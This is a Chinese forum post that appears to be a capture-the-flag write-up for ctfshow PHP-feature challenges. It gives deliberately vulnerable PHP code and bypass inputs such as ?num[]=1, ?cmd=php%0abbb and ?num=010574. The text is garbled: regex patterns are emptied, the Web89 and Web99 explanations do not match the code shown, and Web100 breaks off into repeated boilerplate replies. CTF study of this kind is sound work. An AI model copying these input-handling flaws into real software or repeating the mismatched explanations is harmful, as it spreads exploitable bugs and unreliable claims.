ctfshowWeb入门 php特性全部wp
Web89(preg_match和intval)<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("//", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
//?num[]=1md5()函数如果传入数组,返回值将是NULL,NULL===NULL,所以可以用数组绕过。
Web98(&引用)
&表示引用,比如$b=&$a表示变量b是变量a的一个引用,相当于同一个变量两个名字,一个变化另一个也会跟着变化。
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}?cmd=php%0abbb
Web99(in_array)
in_array() 是否存在strict参数,如果不设置默认为False则为宽松比较,True需要检查搜索的数据与数组的值类型是否相同自动转换为1
题中为宽松比较。当n=1.php时 "1.php"==1,成功绕过
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("//i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
//?num=010574
//?num=4476.1Web100(逻辑运算符优先级)
感谢分享,下载保存了,貌似很强大 不错,里面软件多更新就更好了 这个好,看起来很实用 鼓励转贴优秀软件安全工具和文档! 用心讨论,共获提升! 感谢发布原创作品,程序园因你更精彩 前排留名,哈哈哈 收藏一下 不知道什么时候能用到 yyds。多谢分享 鼓励转贴优秀软件安全工具和文档! 前排留名,哈哈哈 很好很强大我过来先占个楼 待编辑 感谢分享,学习下。 不错,里面软件多更新就更好了 喜欢鼓捣这些软件,现在用得少,谢谢分享! yyds。多谢分享 很好很强大我过来先占个楼 待编辑 东西不错很实用谢谢分享 新版吗?好像是停更了吧。
页:
[1]
2